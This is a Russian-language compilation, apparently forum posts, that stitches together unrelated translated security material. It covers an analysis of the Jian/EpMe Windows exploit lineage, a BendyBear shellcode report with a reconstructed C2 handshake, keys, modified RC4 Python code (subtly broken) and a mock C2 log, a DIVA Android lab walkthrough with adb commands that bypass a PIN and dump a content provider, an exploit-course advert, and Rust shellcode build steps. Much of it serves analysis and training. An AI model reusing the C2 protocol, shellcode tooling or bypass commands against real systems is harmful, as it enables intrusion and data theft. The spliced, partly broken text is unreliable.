По какой-то неизвестной причине Jian содержит определения системных вызовов для 32-битного эксплойта, помимо тех, которые необходимы для 64-битного эксплойта. Хотя они не используются на практике, поскольку образец является 64-битным, они все же дают нам представление о том, как бы выглядел их 32-битный эксплойт.
Мы видим, что 32-битная логика Jian для каждого идентификатора системного вызова снова совпадает с логикой Equation Group, вплоть до уровня настройки некоторых идентификаторов на основе мажорного номера пакета обновления.
Проблема в том, что если мы проверим фактические номера системных вызовов для Windows XP Service Pack 0 и Service Pack 1, мы увидим, что условие для установки значения SP_delta некорректно. Это было правильно для эксплойта Equation Group, но неверно здесь, поскольку APT31 изменил значение wSpMajor_refined во время инициализации эксплойта.
Это обновленное значения еще более странно, поскольку в эксплойтах Equation Group о нем вообще не упоминается:
Вы можете спросить: "Зачем кому-то выполнять указанную выше ротацию значений?" Ответ на самом деле довольно прост. Из нашего прошлого анализа нескольких эксплойтов, приписываемых китайским аффилированным лицам, мы увидели, что у разработчиков есть привычка использовать значение 0 в качестве маркера "незаконного значения". Это хорошо видно, поскольку все значения пакета обновления выше 6 отображаются обратно в значение 0, которое отмечает их как "недопустимые". То же самое было и с Enum, которая была полностью увеличена на 1, заставляя Windows NT использовать значение 1 вместо 0 и зарезервировав священное значение 0 для обозначения состояния ошибки.
И все же на этот раз разработчики использовали только частичную ротацию
значения пакета обновления, что привело к конфликту с допустимым значением
пакета обновления 0, которое по какой-то причине они не переназначили на "1".
Это означает, что 0 одновременно является недопустимым значением, которое не
должно поддерживаться, и допустимым значением, которое имеет решающее значение
для настройки правильных номеров системных вызовов.
Правильная настройка, вероятно, заключалась в том, чтобы увеличить все
значения на 1, сопоставить недопустимые значения с 0 и настроить проверку
системных вызовов на wSpMajor_refined! = 1.
И снова мы видим странную закономерность. Даже при условии, что китайские эксплойты должны зарезервировать значение 0 для недопустимых значений, код все равно выглядит странным. Разработчик, пишущий этот эксплойт с нуля, вероятно, просто увеличил бы значение wSpMajor_refined на 1, помня, что в будущих проверках Service Pack 0 будет отмечен значением 1. Вместо этого, как бы для того, чтобы не сломать существующий фрагмент кода, инициализация системного вызова по-прежнему проверяет наличие 0, и это значение одновременно и действительное, и недопустимое.
Более вероятное объяснение состоит в том, что исходный код был версией Equation Group, и что разработчики, связанные с китайскими атакующими группами, боялись взломать его, таким образом, сделав только половину в изменении значений. Этот страх взлома кода также отражается на их плохом понимании всего эксплойта.
Строка отладки в функции триггера
Jian содержит отладочную строку "int the overflow !!!" который можно найти в DrvBitBlt() UMPD - функции обратного вызова, ответственной за срабатывание уязвимости.
Как мы уже установили, эксплуатируемая уязвимость не является уязвимостью "переполнения". Хотя строка может намекать либо на "переполнение буфера", либо на "целочисленное переполнение", ни один из них не имеет никакого отношения к проблеме дизайна обратного вызова пользовательского режима, которая фактически использовалась.
Хотя это может быть всего лишь проблема языкового барьера, это еще один возможный признак того, что злоумышленники, стоящие за Jian, не правильно поняли истинную природу эксплуатируемой уязвимости.
Заключение
Вместе с дополнительными артефактами, которые соответствуют артефактам Equation Group, общим для всех эксплойтов даже еще в 2008 году, мы можем с уверенностью заключить следующее:
**- Эксплойт EpMe от Equation Group, существующий по крайней мере с 2013
года, является исходным эксплойтом для уязвимости, позже обозначенной как
CVE-2017-0005.
- Примерно в 2014 году APT31 удалось захватить как 32-битные, так и 64-битные
образцы эксплойта EpMe Equation Group.
- Они скопировали их, чтобы построить Jian, и использовали эту новую версию
эксплойта вместе со своим уникальным многоступенчатым упаковщиком.
- Jian был пойман IRT Lockheed Martin и сообщил в Microsoft, которая
исправила уязвимость в марте 2017 года и Нарекла ее как CVE-2017-0005.
Тайм-Лайн**
Ниже приведена временная шкала событий, связанных с обеими версиями эксплойтов того, что начиналось как EpMe (Equation Group) и в конечном итоге было наречено Microsoft как CVE-2017-0005 (APT31).
Более подробно:
*- 2008/2009 - инструменты эксплойтов Early Equation Group: PrivLib/Houston
Disk.
- 2013 - эксплойты DanderSpritz NtElevation: ElEi, ErNi, EpMo, EpMe.
- 27 октября 2014 г. - ранняя временная метка из встроенного PE -
клонированного EpMe.
- 6 мая 2015 г. - несколько индикаторов того, что полный инструмент APT31 был
собран в 2015 году.
- 13 августа 2016 г. - первая публикация Shadow Brokers.
- 8 января 2017 г. - Shadow Brokers допустили утечку структуры каталогов
своих файлов, что явно указывает на владение эксплойтами DanderSpritz и
Eternal.
- 14 февраля 2017 г. - вторник исправлений отменен и объединен с мартовскими
исправлениями.
- 14 марта 2017 г. - вторник исправлений - исправлены уязвимости
CVE-2017-0005 и 1-й раунд критических эксплойтов Equation Group, включенных в
подлежащую публикации утечку SB "Lost in Translation".
- 27 марта 2017 г. - Microsoft публикует блог о CVE-2017-0005, о котором
сообщил Lockheed Martin, и приписывает его китайскому APT (Zirconium/APT31).
- 14 апреля 2017 г. - опубликована утечка Lost in Translation.
- 9 мая 2017 г. - вторник исправлений: второй раунд исправлений Equation
Group включает тихое исправление для эксплойта EpMo Equation Group.
Резюме**
Мы начали с анализа "Jian", китайского эксплойта (APT31/Zirconium) для CVE-2017-0005, о котором сообщила группа реагирования на компьютерные инциденты Lockheed Martin. К нашему удивлению, мы обнаружили, что этот эксплойт APT31 на самом деле является реконструированной версией эксплойта Equation Group под названием "EpMe". Это означает, что эксплойт Equation Group в конечном итоге был использован группой, связанной с Китаем, вероятно, против американских целей. Это не первый задокументированный случай китайского APT, использующего 0-Day.
Во-первых, APT3 использовал собственную версию EternalSynergy (называемую UPSynergy) после приобретения эксплойта EternalRomance Equation Group. Однако в случае с UPSynergy наша группа исследователей безопасности, а также Symantec пришли к единому мнению, что китайский эксплойт был воссоздан из перехваченного сетевого трафика.
Случай с EpMe/Jian отличается, поскольку мы ясно показали, что Jian был создан из фактических 32-битных и 64-битных версий эксплойта Equation Group. Это означает, что в этом сценарии китайский APT сам приобрел образцы эксплойтов во всех поддерживаемых ими версиях. Датировав образцы APT31 за 3 года до утечки Lost in Translation от Shadow Broker, мы полагаем, что эти образцы эксплойтов Equation Group могли быть получены китайским APT одним из следующих способов:
- Захвачено во время сетевой операции Equation Group на китайском объекте.
- Захвачено во время работы Equation Group на сторонней сети, которая также контролировалась китайским APT.
- Захвачено китайским APT во время атаки на инфраструктуру Equation Group.Click to expand...
При обзоре эксплойтов NtElevation, используемых в постэксплуатационном фрейворке DanderSpritz Equation Group, мы обнаружили 4 эксплойта Windows LPE. Первые два эксплойта NtElevation были уязвимостями шрифтов, которые ранее обсуждались как часть Houston disk (более ранний образец, приписываемый Equation Group). Кроме того, EpMe (CVE-2017-0005) был упомянут и исправлен, когда Jian был захвачен, даже если на тот момент его истинное происхождение еще не было известно.
Наконец, хотя в мае 2017 года Microsoft действительно исправила EpMo, мы не смогли отследить CVE-ID, присвоенный исправленной уязвимости. Мало того, насколько нам известно, наша публикация является первой, в которой даже упоминается о существовании этого эксплойта Equation Group, хотя он был общедоступным на GitHub в течение последних 4 лет.
Это наши новые дополнения к карте атрибутики:
- EpMe (CVE-2017-0005) - эксплойт Equation Group, который был клонирован
APT31.
- EpMo - дополнительный эксплойт Equation Group, который ранее никогда не
обсуждался.
- Jian - клонированная версия APT31 EpMe, которая была обнаружена IRT
Lockheed Martin.
- CVE-2019-0803 - из нескольких источников приписывается "хакеру",
спонсируемому государством из Китая. Мы показали, что он использует тот же
загрузчик эксплойтов (и API инструмента), что и Jian в APT31.
Источник: https://research.checkpoint.com/2021/the-story-of-jian/
Автор перевода: yashechka
Переведено специально для
https://xss.is
Вступление
Высокая гибкость, сложность и машинный код более 10 000 байт. Именно с этим
столкнулись исследователи Unit 42 во время анализа кода этого файла. Поведение
кода и функции сильно коррелируют с семейством вредоносных программ WaterBear,
которое было активным еще с 2009 года. Анализ, проведенный [Trend
Micro](https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-
api-hooking-to-evade-security-product-detection.html) и
[TeamT5](https://blogs.jpcert.or.jp/ja/2020/02/japan-security-analyst-
conference-2020-1.html), показал, что WaterBear представляет собой
многогранный имплант второго этапа, способный передавать файлы, доступ к
оболочке и т. Д. снимок экрана и многое другое. Вредоносное ПО связано с
кибершпионажной группой
BlackTech, которая, по оценке
многих представителей более широкого сообщества исследователей угроз, связана
с правительством Китая, и, как полагают, несет ответственность за недавние
атаки на несколько правительственных организаций Восточной Азии. Из-за
сходства с WaterBear и полиморфной природы кода Unit 42 назвал этот новый
китайский шелл-код «BendyBear». Он стоит в собственном классе с точки зрения
того, что является одним из самых сложных, хорошо спроектированных и трудно
обнаруживаемых образцов шелл-кода, используемых APT.
Образец BendyBear был определен как шелл-код x64 для имплантата нулевой стадии, единственной функцией которого является загрузка более надежного имплантата с сервера управления и контроля (C2). Шелл-код, несмотря на свое название, используется для описания небольшого фрагмента кода, загружаемого в цель сразу после эксплуатации, независимо от того, порождает ли он на самом деле командную оболочку или нет. При размере более 10 000 байт BendyBear заметно больше, чем большинство других, и использует его для реализации расширенных функций и методов антианализа, таких как модифицированное шифрование RC4, проверка блока подписи и полиморфный код.
Образец, проанализированный в этом блоге, был идентифицирован по его связям с
вредоносным доменом C2, опубликованным Бюро расследований Министерства
юстиции Тайваня в августе 2020
года. Было обнаружено отсутствие дополнительной информации о векторе
эксплойта, потенциальных жертвах или предполагаемом использовании.
**
Новый класс шелл-кода**
На макроуровне BendyBear уникален следующим:
В следующих разделах мы дадим подробное техническое описание каждой из этих возможностей.
Технические детали
Выполнение шеллкода
Шелл-код (SHA256:
64CC899EC85F612270FCFB120A4C80D52D78E68B05CAF1014D2FE06522F1E2D0) считается
стейджером или загрузчиком, функция которого заключается в загрузке имплантата
с сервера C2. Во время выполнения код использует рандомизацию байтов, чтобы
скрыть свое поведение. Это достигается за счет использования текущего времени
хоста в качестве начального числа для генератора псевдослучайных чисел, а
затем выполнения дополнительных операций с этим выводом. Полученные значения
используются для перезаписи блоков ранее выполненного кода. Эта манипуляция с
байтами - первый метод антианализа, наблюдаемый в коде, поскольку любая
попытка сбросить сегмент памяти приведет к незаконным или неправильным
операциям. На рисунке 1 показан пример основной точки входа в шелл-код до и во
время выполнения.
WaterBear на основе атрибутов, определенных в этом примере. Более подробную информацию об этих загрузчиках можно найти в разделе приложения «Загрузчики x86 WaterBear».
Шелл-код начинается с поиска целевого блока среды процесса (PEB), чтобы проверить, отлаживается ли он в данный момент. Однако код написан таким образом, что он извлекает значения «BeingDebugged» и «BitField» из PEB, что приводит к логике кода, которая делает недействительной проверку отладчика. Из-за этого шелл-код всегда не распознает присоединенный отладчик. Эта процедура выполняется 52 раза в цикле while.
Затем шелл-код просматривает список модулей загрузчика PEB в поисках базового адреса Kernel32.dll. Это типично для шелл-кода, поскольку базовый адрес Kernel32.dll необходим для разрешения любых файлов зависимостей, требуемых шелл-кодом для запуска. С этим адресом шелл-код загружает свои модули зависимостей и разрешает все необходимые вызовы Windows Application Programming Interface (API), используя стандартное хеширование API шелл-кода. Загружены следующие модули:
После завершения инициализации шелл-кода он переходит к своей основной
функции. Он начинается с запроса реестра цели по следующему ключу:
HKEY_CURRENT_USER\Console\QuickEdit
Этот раздел реестра используется командной строкой Windows для включения режима быстрого редактирования. Режим быстрого редактирования позволяет копировать и вставлять из командной строки в буфер обмена. По умолчанию этот ключ содержит REG_DWORD, 32-битное число: 1 для включения или 0 для выключения. BendyBear считывает это значение, умножает его на 1000 и выполняет следующие вычисления над результатом:
Если результат меньше 1 000 или больше 3 300 000, конфигурация шелл-кода (QuickEdit) равна 4 000 (0xFA0), в противном случае это результат вычисленного значения.
См. Выделенное голубым цветом значение на рисунке 2 Конфигурация шелл-кода.
Эта проверка выполняется каждый раз при выполнении шелл-кода. Одно из объяснений использования этого ключа состоит в том, что значение записывается загрузчиком шелл-кода (в значение, отличное от 0 или 1), и оно используется шелл-кодом для получения параметров конфигурации.
Затем он расшифровывает свою внутреннюю структуру конфигурации, которая составляет 1152 байта. Пример показан на рисунке 2.
Разбивка структуры конфигурации, показанной на Рисунке 2, приведена ниже (сверху вниз):
Сетевые коммуникации
Перед взаимодействием с сервером C2 шеллкод очищает кеш DNS хоста, выполнив следующие действия:
При вызове этого API все разрешенные домены удаляются из кеша DNS хоста, а не только целевой сервер C2. Это вынуждает хост разрешить текущий IP-адрес, связанный с доменом C2, гарантируя, что связь продолжается, когда сетевая инфраструктура становится скомпрометированной или недоступной. Это также подразумевает, что разработчики владеют доменом и могут обновлять IP.
Стаджер начинает с вычисления 10 байтов данных для отправки на сервер C2. Эти
10 байтов составляют пакет запроса вызова. Стаджер отправляет запрос на вызов
на C2 и ожидает ответа на запрос. При получении и правильной расшифровке
stager проверяет магические значения или байты подписи при определенных
смещениях. Если эта проверка не удалась, сетевое соединение прерывается. Эта
проверка обеспечивает надежную связь с предполагаемым сервером C2 и инициирует
загрузку полезной нагрузки.
**
I. Stager генерирует пакет запроса на вызов**
Стаджер вычисляет 10-байтовый запрос вызова, содержащий информацию для C2,
чтобы включить размер данных (являющихся сеансовыми ключами), которые будут
получены следующими. Запрос вызова и сеансовые ключи отправляются на C2
одновременно. Пример запроса: 26BCFCCE738A211F3763
II. Сервер C2 расшифровывает пакет запроса на вызов
C2 расшифровывает пакет запроса вызова, используя следующие шаги:
1. Первый байт будет обработан методом XOR со вторым байтом, второй байт - с
третьим байтом… до байта 10, за которым следует:
A. Байт 7 обновляется по результату (байт 7 подвергается операции XOR с байтом
3).
Б. Байт 2 обновляется по результату (байт 2 подвергается операции XOR с байтом
0).
C. Байт 8 обновляется по результату (байт 8 подвергается операции XOR с байтом
0).
D. Байт 9 обновляется по результату (байт 9 подвергается операции XOR с байтом
5).
2. Окончательное значение подвергается операции XOR с ключом
0x3FDA5F9AD85D50C77E6A
.
Запрос на вызов расшифровывается до следующего (представленного в виде шестнадцатеричных байтов):
Последние четыре байта расшифрованного пакета запроса информируют сервер C2 о
размере ожидаемого сетевого трафика. Как показано выше, значение равно 0x20
или 32 байта.
Эти 32 байта составляют ключи сеанса, используемые сервером C2 для шифрования
ответа сервера на запрос и шифрования полезной нагрузки.
Пример сессионных ключей, полученных сервером C2:
Сеансовый ключ 1–> 8C931D4F764B0661C26D77239EB454CA
Сеансовый ключ 2–> 7A4DD0AA6C3F37CDBDAFA4CBD6B27697
Пакет запроса вызова и сеансовые ключи вычисляются для каждого маяка и, следовательно, всегда будут уникальными.
III. C2 аутентифицируется с помощью Stager
C2 использует ключи сеанса для создания поля состояния RC4 и в качестве ключа
XOR для шифрования и дешифрования.
1. Предсессионный ключ вычисляется с использованием сеансового ключа 1
(первые 16 байтов) следующим образом:
Предсессионный ключ = сеансовый ключ 1 XOR
0X6162636465666768696A6B6C6D6E6F00
2. Используя вычисленный предсессионный ключ из шага 1, сервер C2 строит
алгоритм планирования ключей RC4 (KSA). Он рассчитывается следующим образом:
а. Создайте RC4 KSA, используя следующие входные данные для функции ниже:
data = 16-байтовый ключ 0x0C2F65194FF37B2D63D34635C7B205E4
key = 16-байтовый вычисленный предсессионный ключ из шага 1
Пример RC4 (модифицированной) подпрограммы KSA:
Code:Copy to clipboard
def rc4_KSA (данные, ключ):
x = 0
box = range(258)
box[256] = 0
box[257] = 0
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
return box
3. Создайте 10-байтовый заголовок ответа сервера на запрос, используя шестнадцатеричные значения, показанные на рисунке 5.
4. Зашифруйте заголовок ответа на запрос сервера из шага 3:
a. Вызов 10-байтового сервера XOR с ключом 0x33836E6B3FAA6AC464DA и выполнение
следующего:
i. Байт 7 обновляется по результату (байт 7 подвергается операции XOR с байтом
3).
ii. Байт 2 обновляется по результату (байт 2 XOR соединен с байтом 0).
iii. Байт 8 обновляется по результату (байт 8 подвергается операции XOR с
байтом 0).
iv. Байт 9 обновляется по результату (байт 9 подвергается операции XOR с
байтом 5).
b. Заголовок ответа на зашифрованный запрос сервера = результат 4 (а)
5. Вычислить окончательный ключ аутентификации:
a. Выполните XOR для следующих значений:
i. 0x0C2F65194FF37B2D63D34635C7B205E4
ii. Значение, рассчитанное на шаге 1, т.е. ключ перед сеансом.
Значения, сгенерированные на шагах 4 и 5, составляют полный ответ на запрос сервера. На этом этапе C2 отправляет ответ на запрос сервера в stager, завершая процесс аутентификации.
IV. C2 шифрует и передает полезную нагрузку
Затем C2 готовится отправить команду на stager. BendyBear поддерживает только
один тип команды: загрузка полезной нагрузки.
1. Создайте 10-байтовый заголовок команды, используя шестнадцатеричные значения, показанные на рисунке 6.
Единственное изменение в заголовке - это фиксированное значение подписи с 0x40 до 0x43.
**2. Зашифруйте заголовок команды из шага 1: **
Ниже приведен пример модифицированной подпрограммы RC4, которую можно
использовать. Первый аргумент, box, будет S-Box, вычисленным на шаге III.2, а
второй аргумент, data, будет заголовком команды из шага 1.
Code:Copy to clipboard
def rc4_Mod_Crypt(box, data):
x = box[256]
y = box[257]
c = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
z = ( (box[x] + box[y] )&0xff ) % 256
al = rol( box[z],4,8 )
out.append( chr( ord( data[c] ) ^ al ) )
box[z] = al
c+=1
box[256] = x
box[257] = y
return ”.join(out)
**3. Получите размер полезной нагрузки и зашифруйте это значение, используя
тот же алгоритм RC4, что и на шаге 2. Размер полезной нагрузки должен быть
общим расшифрованным размером полезной нагрузки.
**
4. Зашифруйте и отправьте полезную нагрузку на стейджер по частям:
a. Прочтите 4086 байт из полезной нагрузки. Это максимальный размер блока,
который может принять stager.
b. Создайте заголовок команды (шаг 1 выше) и обновите следующие поля:
i. Размер заголовка = размер блока полезной нагрузки.
ii. Команда = 1.
c. Отправьте обновленный 10-байтовый заголовок команды в stager.
d. Отправьте зашифрованный фрагмент полезной нагрузки.
е. Повторяйте шаги a - d, пока полезные данные не будут отправлены.
На рисунке 7 показан пример одного блока полезной нагрузки, который отправляется в stager.
После получения каждого фрагмента stager удаляет заголовок команды и
расшифровывает фрагмент полезной нагрузки в памяти.
**
Загрузка полезной нагрузки в память**
После того, как полезная нагрузка полностью расшифрована, stager выполняет
некоторые базовые проверки, чтобы убедиться, что полезная нагрузка
соответствует исполняемому файлу Windows. Он проверяет заголовок DOS и PE, а
также то, что полезная нагрузка является DLL. Затем он загружает полезную
нагрузку в прямую память и вызывает ее точку входа (AddressOfEntryPoint).
Прямая загрузка памяти полезными данными имитирует загрузку Windows PE -
LoadLibrary. В результате структуры метаданных PEB LDR_DATA_TABLE_ENTRY не
создаются, а PEB для процесса, выполняющего шеллкод, не имеет записи о
загрузке DLL, которая может использоваться для обнаружения несанкционированных
модулей, работающих на вашем хосте. Это видно в WinDbg, запустившем команду!
Адрес в процессе, загрузившем шеллкод. Пример показан на рисунке 8.
Артефакты в памяти:
Результат выполнения команды !address
WinDbg, Показанный на рисунке 8,
обнаруживает аномальную запись. Адрес памяти модуля 0x7ff4c2450000 был
результатом выделения частной памяти, установки защиты на RWX и использования,
содержащего заголовок MZ.
В следующей таблице описаны основные функции BendyBear.
Заключение
Шелл-код BendyBear содержит расширенные функции, которые обычно не встречаются
в шелл-коде. Использование методов антианализа и проверки блока подписи
указывает на то, что разработчики заботятся о скрытности и уклонении от
обнаружения. Кроме того, использование настраиваемых криптографических
процедур и манипуляции с байтами предполагает высокий уровень технической
сложности.
Дополнительные ресурсы
Taiwan News – Taiwan urges
blocking 11 China-linked phishing domains.
iThome News – The Bureau of
Investigation’s recent investigation of several cases of Taiwan Government
agencies hacked.
[TeamT5](https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-
aragorn_en.pdf) – Evil Hidden in Shellcode: The Evolution of malware DbgPrint.
[TrendMicro ](https://www.trendmicro.com/en_us/research/19/l/waterbear-is-
back-uses-api-hooking-to-evade-security-product-detection.html)– WaterBear
Returns, Uses API Hooking to Evade Security.
[TrendMicro ](https://www.trendmicro.com/en_us/research/17/f/following-trail-
blacktech-cyber-espionage-campaigns.html)– The Trail of BlackTech’s Cyber
Espionage Campaigns.
[CryCraft Technology Corp](https://medium.com/cycraft/taiwan-government-
targeted-by-multiple-cyberattacks-in-april-2020-1980acde92b0) – Taiwan
Government Targeted by Multiple Cyberattacks in April 2020 Part 1: Waterbear
Malware
JPCERT/CC Eyes –
ELF_PLEAD – Linux Malware Used by BlackTech
**
Приложение**
Shellcode PoC
Имитация сервера C2, обслуживающего запрос к stager и отправляющего полезную
нагрузку (DLL), которая отображает окно сообщения:
Code:Copy to clipboard
python.exe U42ETHOS_C2.py -l 8080 -p c:\temp\DLLSample.dll
[+] Started U42ETHOS_C2.py ver 1.0.0 waiting for connection on TCP port 8080
[!] Using payload file c:\temp\DLLSample.dll
[!] Received new connection from: (‘192.168.163.138’, 49918)
[-] Received Encrypted challenge Request Packet–> 40da9a64bf3992d39db6
[-] Decrypted challenge Request packet–> 46401f8c032320000000
[+] Session key 1–> 9816f78b57fff54efb5419202d81a729
[+] Session key 2–> 6ec83a6e4d8bc4e28496cac865878574
[+] Computed PreSessionKey–> f97494ef32999226923e724c40efc829
[+] Challenge command–> a3601149a495d02598b7
[-] Challenge key is–> f55bf1f67d6ae90bf1ed3479875dcdcd
[+] Payload Size is 00920100
[!] Payload sent to stager. Check if executed
На рисунке 9 показан макет C2-сервера Python, созданный модулем 42 для взаимодействия со стейджером. Он настроен на прослушивание TCP-порта 8080, а полезная нагрузка - это тестовая DLL, которая запускает calc.exe и отображает окно сообщения (Hello, Implant). На рисунке 10 показан хост Windows 10, на котором шеллкод запускается в памяти через специальный загрузчик. Шелл-код был настроен для связи с фиктивным сервером C2.
От ТС
Это перевод материала, взятого
отсюда
Если есть предложения, что перевести, вам
сюда
Все хэши есть в оригинальной статье
Перевод:
Azrv3l cпециально для xss.is
Damn Insecure Vulnerable App (DIVA) - это невероятно уязвимое приложение, предназначенное, чтобы познакомить вас с типовыми багами, которые можно повстречать на платформе Android.
Давайте учиться на практике!
Шаг 1. Скачайте DIVA по [ссылке](http://www.payatu.com/wp- content/uploads/2016/01/diva-beta.tar.gz), распакуйте и установите.
Шаг 2. Если у вас все еще отсутсвует Android-лаборатория для анализа, рекомендую развернуть ее с помощью Android Studio. То, как это можно сделать, можно узнать в одной из моих [предыдущих](https://medium.com/bugbountywriteup/apk-testing-on-an-android- studio-c0addb12550) статей.
Шаг 3. После того, как Diva будет запущено на эмуляторе, откройте его
параллельно в jadx-gui, если хотите просмотреть исходный код на Java.
Находясь в терминале Android Studio, перейдите в папку с adb:
Code:Copy to clipboard
cd ~/Library/Android/sdk/platform-tools
И запустите оболочку: ./adb shell
Находясь в ней, введите команду ps
, чтобы просмотреть список запущенных
процессов. Поищите в нем jakhar.aseem.diva и обратите внимание на второй
столбец - это PID -идентификатор, который необходимо запомнить. В данном
случае он равен 18976.
Теперь для того, чтобы просмотрить логи нужного приложения (в данном случае, DIVA), я выполняю logcat | grep 18976
(где 18976 - его PID) или ./adb logcat, однако вторую команду использовать не рекомендуется, поскольку она будет выводить логи всех приложений со множеством мусорных строк.
Как вы можете заметить, в логах иногда проскакивает конфиденциальная
информация, которая может быть доступна другим приложениям, если у них будет
соотствествующее разрешение на чтение.
Как я уже упоминал выше, используя jadx-gui
, вы можете просматривать
исходный код apk-файла в формате Java. Обратите внимание на жестко
запрограммированный ключ доступа - он и есть искомая уязвимость.
После того, как мы ввели некоторые данные и сохранили их, приложение оповещает
о том, что они успешно сохранены. Однако, где?
Потребуется запустить шелл от имени рутового пользователя, как это показано на скриншоте ниже. А затем перейти в директорию /data/data - именно в ней, предположительно, находятся сохраненные сведения.
А, если быть точнее, данные хранятся в каталоге shared_prefs. Я нашел
его, когда стокнулся с упоминаниями SharedPreferences в исходном коде.
Во второй части таска с небезопасных хранением исходный код указывает на то,
что учетные данные хранятся в базе данных SQL
В той же самой директории, которая была найдена на предыдущем этапе, в
подпапке databases лежит 4 файла, ids2 - база данных, в которую была
сохранена информация.
После сохранения введенных данных, я в очередной раз взглянул на исходники.
Меня заинтересовал метод createTempFile, создающий, как вы уже поняли, временный файл с информацией, отправленной из формы.
Он точно также, как и раньше, лежит в каталоге /data/data/jakhar.aseem.diva.
«Произошла ошибка файла» - когда я нашал на кнопку "Save".
В чем проблема? Похоже, что приложение пытается сохранить учетные данные во внешнем хранилище устройства. Скорее всего, ему не хватает для этого прав. Проверить права на хранение можно в настройки > разрешения приложений > хранилище > Diva, там же - предоставить доступ.
Я попытался еще раз сохранить данные, и на этот раз сработало!
Используя терминал, перемещаемся на sdcard и видем, что учетные данные сохранены в /sdcard/.uinfo.txt.
Приложение просит ввести имя пользователя. Если его ввести верно, то выведется
его пароль и данные кредитной карты.
Поскольку в данной секции подразумеваются проблемы с проверкой входных данных, я попробовал реализовать простую SQL-инъекцию - и она сработала.
Сначала я попытался обратиться к реально существующему сайту, чтобы проверить,
отправится ли к нему запрос. Затем я использовал аббревиатуру file:/ для
доступа к локальным файлам на тестируемом устройстве, и смог получить всю
конфиденциальную информацию из разных мест.
Просмотреть учетные данные для подключения к API можно нажав на кнопку «VIEW
API CREDENTIALS». Проблема состоит в том, что к этим данным можно также
получить доступ и извне.
Запустите logcat, чтобы увидеть, что происходит после нажатия на кнопку «VIEW
API CREDENTIALS». Здесь есть интересная запись ActivityManager'а и
произведенное им действие.
Отталкиваясь от него, для того, чтобы приложение само открылось и отобразило
повторно эти данные, но уже без нажатия на кнопку, будет достаточно команды
Code:Copy to clipboard
am start jakhar.aseem.diva/.APICredsActivity
Здесь уже не получится так просто получить данные извне, так как для того,
чтобы открыть то же самое окно с критичной информацией, необходимо будет
ввести PIN. Давайте нажмем на кнопку "Register Now" и проверим логи (logcat)
Обратите внимание, что фактическое значение chk_pin - check_pin.
Нужно обойти проверку, чтобы получить доступ к учетным данным без пин-кода.
Из logcat мы уже знаем, что диспетчер активности - jakhar.aseem.diva / .APICreds2Activity
Code:Copy to clipboard
./adb shell am start -n jakhar.aseem.diva / .APICreds2Activity --ez check_pin false
Теперь давайте переключимся обратно, нажмем на кнопку и удостоверимся в том,
что приложение больше не потребовало ввести пин-код.
Перед тем, как приступить к редактированию личной заметки, приложение
предложит создать для нее индивидуальный пин-код, чтобы никто посторонний не
смог получить доступ к ее содержимому.
Давайте снова обратимся к исходному коду .xml и .java, чтобы найти недостатки. Нас интересует следующее:
Из logcat мы видим, что диспетчер активности - jakhar.aseem.diva /
.AccessControl3Activity
![](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fmax%2F1000%2F1%2AlY-HHSJ-
mUT7LFvdRTIpzw.png&hash=0daf08066a602e065c059c1a72526dfa)
AndroidManifest.xml показывает поставщика содержимого
jakhar.aseem.diva.provider.notesprovider; android: enabled = «true» и
android: exported = «true» , что означает, что компоненты других приложений
могут иметь к нему доступ.
А исходники NotesProvider.java показывают, где хранятся заметки.
CONTENT_URI = Uri.parse(“content://jakhar.aseem.diva.provider.notesprovider/notes”);
Выполнение следующей команды предоставляет доступ к содержимому заметок без
пин-кода.
Code:Copy to clipboard
./adb shell content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes
Вместо использования jadx-gui, на этот раз я задумался о том, чтобы перейти к
более серьезные инструментам для реверс-инжиниринга. Это нужно для того, чтобы
изучить файл библиотеки (.so), который не поддерживается jadx-gui.
Здесь есть два способа: использовать гидру (читайте
[отдельную](https://medium.com/bugbountywriteup/how-to-use-ghidra-to-reverse-
engineer-mobile-application-c2c89dc5b9aa) статью), либо apktool.
Извлеките содержимое diva-beta.apk, выполнив команду:
Code:Copy to clipboard
apktool d diva-beta.apk
Теперь, просматривая libdivajni.so, обращайте внимание на любые подозрительные строки и вводите их в поле ввода имени пользователя.
Code:Copy to clipboard
strings arm64-v8a/libdivajni.so
оригинал на английском можно [здесь](https://infosecwriteups.com/hunting-for-
bugs-in-android-app-fe9158a556d3).
перевод Moody
канал Cybred
Entry-level Exploit Development Course aimed at students looking to pass the OSCP, GXPN or CSSLP
**1. Introduction
2. Full Walk-through 1 LibHTTPD 1.2
3. Full Walk-through 2 SLM ail 5.5
4. Full Walk-through 3 Crossfire
5. Full Walk-through 4 Egg hunters (not OSCP exam required)
6. Shell-passing
7. Tor over VPN
8. rpivot
9. Offensive Proxy ARP Bridges
10. Teaser New Course in the Making Advanced Exploit Development
DOWNLOAD**
Проект Windows шеллкода находится внутри shellcode/
, он может быть встроен в
PE-файл только в секции .text с и не имеет внешних зависимостей.
![shellcode.exe в pe- Bear](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fb1tg%2Frust-windows- shellcode%2Fraw%2Fmain%2Fimages%2Fshow_in_pe_bear.png&hash=87ade9dc4ca21087a1d4c0b09e32445a)
Затем мы можем сдампить секцию .text
и добавить некоторые патчи, чтобы
сделать его независимым от позиции. Эта идея взята из проекта hasherezade
masm_shc.
(Проверено на Win10 x64)
Code:Copy to clipboard
rustup default nightly-x86_64-pc-windows-msvc
cd shellcode/
cargo build --release
Если все пойдет хорошо, мы получим shellcode\target\x86_64-pc-windows- msvc\release\shellcode.exe
Мы патчим начало секции .text
, заставляем переходить к точке входа. Таким
образом, мы можем хранить некоторые строки в объединенной секции, или мы
должны использовать массив байтов u8
и u16
в стеке для представления
строки.
Code:Copy to clipboard
cd ..
cargo run
Получим shellcode\target\x86_64-pc-windows-msvc\release\shellcode.bin
, это
финальный файл шеллкода.
Протестируйте шеллкод, используя ваш любимый загрузчик шеллкода, лично я использую свой небольшой инструмент rs_shellcode.
Code:Copy to clipboard
git clone https://github.com/b1tg/rs_shellcode
cd rs_shellcode/
cargo build
./target/debug/rs_shellcode.exe -f "shellcode\target\x86_64-pc-windows-msvc\release\shellcode.bin"
Этот демонстрационный shellcode отобразит всплывающее окно сообщения и напишет
нечто в лог, используя OutputDebugStringA
. Вы можете проверить это в
debugview
или windbg.
